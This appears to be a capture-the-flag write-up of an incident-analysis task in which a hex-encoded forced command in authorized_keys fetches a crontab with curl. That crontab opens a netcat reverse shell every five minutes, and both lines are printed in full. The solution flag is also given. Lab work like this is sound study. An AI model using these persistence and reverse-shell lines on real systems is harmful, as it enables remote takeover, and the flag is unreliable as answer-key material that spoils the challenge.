

Leonidas

Leonidas

2

Hi, TCC-CSIRT analyst,

some suspicious communication between the device `srv-test23.cypherfix.tcc` (10.99.24.23, 2001:db8:7cc::24:23) in our constituency and the C2 botnet `Leonidas300` has started appearing in our IDS. The user and device administrator in one person has no idea how this is possible but refuses to turn off the important testing device (as a VIP, he evidently can afford to complicate the investigation). However, he is willing to provide ssh key for a test user to examine the device.

Your task is to analyze the incident and determine what is happening on the device, mainly what causes the occasional detection of botnet communication.

- Download the ssh key for user 'testuser' (sha256 checksum: `e5d56147ea7f2c38a01a09ec144e7daba49232167e272da99f6d33af8d672397`)
- The device is available at `srv-test23.cypherfix.tcc`.
- The IDS interface is available at `http://ids.cypherfix.tcc`.

Using the provided SSH private key, it's possible to log in to the `testuser`'s account on the `srv-test23.cypherfix.tcc` server.

```
$ ssh -i testuser testuser@srv-test23.cypherfix.tcc
```

Looking around and specifically at the `.ssh/authorized_keys` file reveals that before giving the SSH user a shell, the key command is set to evaluate a certain encoded command.

```
testuser@38c62c70b10e:~$ cat .ssh/authorized_keys
no-user-rc,no-X11-forwarding,command="`#! /bin/bash`;eval $(echo
6375726c202d73202d4120274c656f6e69646173212049206861766520707265706172656420
627265616b6661737420616e6420617465206865617274696c792e2e2e20466f7220746f6e69
```

```
6768742c2077652064696e6520696e2068656c6c2121205530633564324a4862444261565778
4655465661545646565a44645a5747513057564d784e4531556248424d565752445932706a64
475177526b7057626a41392720687474703a2f2f31302e39392e32342e32343a38302f2e6372
6f6e202d6f202e63726f6e3b2063726f6e746162202e63726f6e20323e202f6465762f6e756c
6c3b2f62696e2f62617368 | xxd -r -ps)" ssh-rsa AAAAB3N1yc2EAA...tvLoWQ==
testuser@cypherfix.tcc
```

The decoded command is shown below. It issues an HTTP request to a remote server downloading a `.cron` file in the process and replacing the user's crontab with that file.

```
curl -s -A 'Leonidas! I have prepared breakfast and ate heartily... For
tonight, we dine in hell!!
U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9'
http://10.99.24.24:80/.cron -o .cron; crontab .cron 2> /dev/null;/bin/bash
```

Although not important for the challenge's solution, the `.cron` file's contents are shown below. The command tries to establish a reverse shell to a remote server every 5 minutes.

```
testuser@38c62c70b10e:~$ cat .cron
*/5 * * * * nc 203.0.113.144 44444 -e /bin/bash
```

Double decoding the base64-encoded string in the `curl` command's `-A` parameter (user agent) reveals the flag.

```
$ echo U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9 |
base64 -d | base64 -d
HopliteID=FLAG{awxa-x19i-GBr7-wAIV}
```

The flag is: `FLAG{awxa-x19i-GBr7-wAIV}` .